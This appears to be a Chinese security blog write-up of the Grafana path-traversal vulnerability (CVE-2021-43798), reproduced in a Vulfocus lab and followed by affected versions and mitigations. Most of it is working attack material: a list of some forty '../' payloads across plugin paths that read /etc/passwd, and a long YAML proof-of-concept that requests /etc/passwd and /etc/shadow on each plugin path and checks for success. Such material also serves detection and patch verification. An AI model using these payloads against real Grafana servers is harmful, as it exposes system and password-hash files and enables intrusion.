一、漏洞分析
1.1 漏洞描述
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。。
国外安全研究人员披露Grafana中某些接口在提供静态文件时,攻击者通过构造恶意请求,可造成目录遍历,读取系统上的文件。
1.2环境搭建
利用Vulfocus 漏洞集成平台,搭建测试环境。
Vulfocus的特性
启动:一键漏洞环境启动,方便简单。 自带 Flag 功能:每次启动 flag 都会自动更新,明确漏洞是否利用成功。 带有计分功能也可适用于相关安全人员能力的考核。 兼容 Vulhub、Vulapps 中所有漏洞镜像。
获取环境: 拉取镜像到本地
$ docker pull vulfocus/vulfocus
启动环境
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xxx.xxx.xxx.xxx vulfocus/vulfocus
备注: v /var/run/docker.sock:/var/run/docker.sock 为 docker 交互文件
-e VUL_IP=xxx.xxx.xxx.xxx 为 Docker 服务器IP(本机IP地址),不能为 127.0.0.1
访问如下链接,可进入搭建的vulfocus页面,下载相关漏洞即可
下载后,启动该环境
访问地址http://172.16.***.***:20108/login,即可打开页面。
1.3 漏洞复现
常见的Payload如下
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
批量检测脚本:https://github.com/culprits/Grafana_POC-CVE-2021-43798 使用批量检测脚本对Vulfocus环境进行检测结果如下
下面是用burp抓包修改请求包,得到的结果
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd
POC编写如下:
params: []
name: Grafana_file_read_vulnerability
set: {}
rules: []
groups:
rules1:
- method: GET
path: /public/plugins/alertlist/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/alertlist/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules2: - method: GET
path: /public/plugins/annolist/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/annolist/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules3: - method: GET
path: /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules4: - method: GET
path: /public/plugins/barchart/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/barchart/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules5: - method: GET
path: /public/plugins/zipkin/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/zipkin/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules6: - method: GET
path: /public/plugins/bargauge/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/bargauge/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules7: - method: GET
path:/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/cloudwatch/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules8: - method: GET
path:/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path:/public/plugins/dashlist/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules9: - method: GET
path:/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path:/public/plugins/elasticsearch/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules10: - method: GET
path:/public/plugins/gauge/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path:/public/plugins/gauge/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules11: - method: GET
path:/public/plugins/geomap/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path:/public/plugins/geomap/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules12: - method: GET
path: /public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/gettingstarted/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules13: - method: GET
path: /public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/stackdriver/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules14: - method: GET
path: /public/plugins/graph/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/graph/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules15: - method: GET
path: /public/plugins/graphite/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/graphite/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules16: - method: GET
path: /public/plugins/heatmap/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/heatmap/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules17: - method: GET
path: /public/plugins/histogram/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/histogram/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules18: - method: GET
path: /public/plugins/influxdb/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/influxdb/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules19: - method: GET
path: /public/plugins/jaeger/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/jaeger/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules20: - method: GET
path: /public/plugins/logs/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/logs/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules21: - method: GET
path: /public/plugins/loki/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/loki/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules22: - method: GET
path: /public/plugins/mssql/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/mssql/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules23: - method: GET
path: /public/plugins/mysql/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/mysql/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules24: - method: GET
path: /public/plugins/news/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/news/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules25: - method: GET
path: /public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/nodeGraph/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules26: - method: GET
path: /public/plugins/piechart/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/piechart/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules27: - method: GET
path: /public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/pluginlist/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules28: - method: GET
path: /public/plugins/postgres/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/postgres/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules29: - method: GET
path: /public/plugins/prometheus/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/prometheus/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules30: - method: GET
path: /public/plugins/stat/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/stat/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules31: - method: GET
path: /public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/state-timeline/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules32: - method: GET
path: /public/plugins/status-history/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/status-history/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules33: - method: GET
path: /public/plugins/table/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/table/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules34: - method: GET
path: /public/plugins/table-old/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/table-old/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules35: - method: GET
path: /public/plugins/tempo/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/tempo/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules36: - method: GET
path: /public/plugins/testdata/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/testdata/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules37: - method: GET
path: /public/plugins/text/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/text/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules38: - method: GET
path: /public/plugins/timeseries/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/timeseries/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) rules39: - method: GET
path: /public/plugins/welcome/../../../../../../../../../../../etc/passwd
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”) - method: GET
path: /public/plugins/welcome/../../../../../../../../../../../etc/shadow
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”root”)&&response.body.bcontains(b”99999”) detail:
author: “”
links: []
description: “”
version: “”
二、影响范围
Grafana 8.0.0-beta1 – 8.3.0
三、解决方案
更新版本到
Grafana >= 8.3.1
Grafana >= 8.2.7
Grafana >= 8.1.8
Grafana >= 8.0.7
或可采用以下方案进行临时防御:
1、使用边界waf功能设置Grafana仅对可信地址开放。
2、利用Nginx等代理或者负载均衡设备禁止含有 .. 的请求以防漏洞被恶意利用。
四、参考链接
https://mp.weixin.qq.com/s/QodZWlBCnxfgIZNo6pjenA
请登录后查看回复内容